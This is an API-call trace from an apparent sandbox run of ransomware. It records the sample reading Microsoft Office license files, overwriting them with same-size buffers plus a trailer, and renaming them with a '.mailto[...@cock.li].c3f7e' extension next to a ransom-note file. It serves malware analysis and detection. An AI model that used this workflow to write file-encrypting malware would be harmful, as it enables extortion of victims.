	[0085.995] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x28fbfddc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.995] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x4752ff0
	[0085.995] NtSetInformationFile (FileHandle=0x18a8, IoStatusBlock=0x28fbfdd4, FileInformation=0x4752ff0, Length=0xf0, FileInformationClass=0xa) returned 0x0
	[0085.997] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0085.997] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0085.997] NtQueryInformationFile (in: FileHandle=0x18a8, IoStatusBlock=0x28fbfde8, FileInformation=0x28fbfdc0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28fbfde8, FileInformation=0x28fbfdc0) returned 0x0
	[0085.997] NtSetInformationFile (FileHandle=0x18a8, IoStatusBlock=0x28fbfde8, FileInformation=0x28fbfdc0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.998] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0085.998] FlushFileBuffers (hFile=0x18a8) returned 1
	[0093.087] CloseHandle (hObject=0x18a8) returned 1
	[0093.087] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476dcd8
	[0093.087] wcscpy (in: _Dest=0x476dcd8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.087] wcscat (in: _Dest=0x476dcd8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1171
	os_tid = 0x1ec0

	[0085.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 0x220
	[0085.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18ac
	[0085.999] GetFileSizeEx (in: hFile=0x18ac, lpFileSize=0x2903fe40 | out: lpFileSize=0x2903fe40*=11581) returned 1
	[0085.999] SetFilePointerEx (in: hFile=0x18ac, liDistanceToMove=0x2d39, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.999] ReadFile (in: hFile=0x18ac, lpBuffer=0x2903fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2903fdc0, lpOverlapped=0x0 | out: lpBuffer=0x2903fdc4*, lpNumberOfBytesRead=0x2903fdc0*=0x4, lpOverlapped=0x0) returned 1
	[0086.000] SetFilePointerEx (in: hFile=0x18ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0086.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0086.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.000] NtQuerySystemTime (in: CurrentTime=0x2903fda0 | out: CurrentTime=0x2903fda0*=132251868127338310) returned 0x0
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0xda71e7ce
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x4291b4e6
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x6d0a564f
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x2c60624e
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x9490210b
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x4237ecae
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x823fe16a
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x26b99100
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x1ed4825f
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x3c5f060d
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x8c1cc81b
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0xd27f7600
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x84ddb5c9
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x20fe1c3f
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x1312be61
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x477ffca0
	[0086.000] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0xb3568a3e
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x46ae7d16
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0xc93e8e9c
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x2ad9d7de
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x6da03b00
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x6aa30783
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x5a61784
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0xfbf619ec
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x9f0787d8
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x2f5c8ccc
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x9f3e6ac7
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0xb63fd199
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x2f21f23
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x3ea7081b
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0xeeb5aa67
	[0086.001] RtlRandom (in: Seed=0x2903fdac | out: Seed=0x2903fdac) returned 0x22ba89be
	[0086.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76fe8
	[0086.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0086.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0086.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0086.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0086.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0086.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0086.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77100
	[0086.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0086.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e790
	[0086.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0086.010] ReadFile (in: hFile=0x18ac, lpBuffer=0x4f6e790, nNumberOfBytesToRead=0x2d3d, lpNumberOfBytesRead=0x2903fd9c, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesRead=0x2903fd9c*=0x2d3d, lpOverlapped=0x0) returned 1
	[0086.011] SetFilePointerEx (in: hFile=0x18ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.011] WriteFile (in: hFile=0x18ac, lpBuffer=0x4895858*, nNumberOfBytesToWrite=0x2d3d, lpNumberOfBytesWritten=0x2903fd98, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesWritten=0x2903fd98*=0x2d3d, lpOverlapped=0x0) returned 1
	[0086.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0086.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0086.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0086.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0086.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0086.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0086.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0086.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x41) returned 0x4774c10
	[0086.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0086.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x41) returned 0x4774760
	[0086.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0086.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0086.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x125) returned 0x2d62e78
	[0086.014] SetFilePointerEx (in: hFile=0x18ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.015] WriteFile (in: hFile=0x18ac, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x125, lpNumberOfBytesWritten=0x2903fe00, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x2903fe00*=0x125, lpOverlapped=0x0) returned 1
	[0086.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0086.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4774760) returned 1
	[0086.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0086.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4774c10) returned 1
	[0086.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0086.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1
	[0086.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0086.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0086.016] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4768628
	[0086.016] wcscpy (in: _Dest=0x4768628, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms"
	[0086.016] wcscat (in: _Dest=0x4768628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.016] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2903fdb8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.016] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x477a460
	[0086.016] NtSetInformationFile (FileHandle=0x18ac, IoStatusBlock=0x2903fdb0, FileInformation=0x477a460, Length=0xf6, FileInformationClass=0xa) returned 0x0
	[0086.017] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0086.017] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0086.017] NtQueryInformationFile (in: FileHandle=0x18ac, IoStatusBlock=0x2903fdc4, FileInformation=0x2903fd9c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2903fdc4, FileInformation=0x2903fd9c) returned 0x0
	[0086.017] NtSetInformationFile (FileHandle=0x18ac, IoStatusBlock=0x2903fdc4, FileInformation=0x2903fd9c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0086.018] FlushFileBuffers (hFile=0x18ac) returned 1
	[0093.087] CloseHandle (hObject=0x18ac) returned 1
	[0093.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476f3e8
	[0093.088] wcscpy (in: _Dest=0x476f3e8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.088] wcscat (in: _Dest=0x476f3e8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1172
	os_tid = 0x1ec4

	[0086.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 0x220
	[0086.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18b0
	[0086.013] GetFileSizeEx (in: hFile=0x18b0, lpFileSize=0x290bf874 | out: lpFileSize=0x290bf874*=19926) returned 1
	[0086.013] SetFilePointerEx (in: hFile=0x18b0, liDistanceToMove=0x4dd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.013] ReadFile (in: hFile=0x18b0, lpBuffer=0x290bf7f8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x290bf7f4, lpOverlapped=0x0 | out: lpBuffer=0x290bf7f8*, lpNumberOfBytesRead=0x290bf7f4*=0x4, lpOverlapped=0x0) returned 1
	[0086.019] SetFilePointerEx (in: hFile=0x18b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0086.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0086.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.019] NtQuerySystemTime (in: CurrentTime=0x290bf7d4 | out: CurrentTime=0x290bf7d4*=132251868127494529) returned 0x0
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xd6945691
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x1dd715ab
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xe21ba531
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xbaee1b60
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x60ef2eb1
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xdc1ad47
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xe3fd2b3f
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x81f16464
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x494554ab
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x141b413a
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xb5a15868
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xd400345a
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xb8d6ba14
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x4f0250c1
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x17332c05
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xae9303ed
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x2eb36d79
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xb1d6636b
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xfb8a36d5
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xf6e1f6fe
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xb8999dae
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xaa5d4278
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x5883fa5b
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x89eb1bd1
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xa8162c96
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xfb70acec
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x27b0aeed
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x938e783b
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x1f8dbd5a
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x98d870a3
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0x9f889f70
	[0086.019] RtlRandom (in: Seed=0x290bf7e0 | out: Seed=0x290bf7e0) returned 0xcd702443
	[0086.026] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76fe8
	[0086.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0086.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0086.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0086.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0086.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0086.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0086.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77100
	[0086.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0086.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e790
	[0086.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0086.029] ReadFile (in: hFile=0x18b0, lpBuffer=0x4f6e790, nNumberOfBytesToRead=0x4dd6, lpNumberOfBytesRead=0x290bf7d0, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesRead=0x290bf7d0*=0x4dd6, lpOverlapped=0x0) returned 1
	[0086.030] SetFilePointerEx (in: hFile=0x18b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.030] WriteFile (in: hFile=0x18b0, lpBuffer=0x4895858*, nNumberOfBytesToWrite=0x4dd6, lpNumberOfBytesWritten=0x290bf7cc, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesWritten=0x290bf7cc*=0x4dd6, lpOverlapped=0x0) returned 1
	[0087.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.236] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.236] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0087.236] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0087.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0087.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0087.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x41) returned 0x4776010
	[0087.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0087.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x41) returned 0x4775e30
	[0087.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0087.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x125) returned 0x498ed90
	[0087.238] SetFilePointerEx (in: hFile=0x18b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.238] WriteFile (in: hFile=0x18b0, lpBuffer=0x498ed90*, nNumberOfBytesToWrite=0x125, lpNumberOfBytesWritten=0x290bf834, lpOverlapped=0x0 | out: lpBuffer=0x498ed90*, lpNumberOfBytesWritten=0x290bf834*=0x125, lpOverlapped=0x0) returned 1
	[0087.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0087.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775e30) returned 1
	[0087.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0087.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1
	[0087.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0087.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0087.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4768c80
	[0087.248] wcscpy (in: _Dest=0x4768c80, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms"
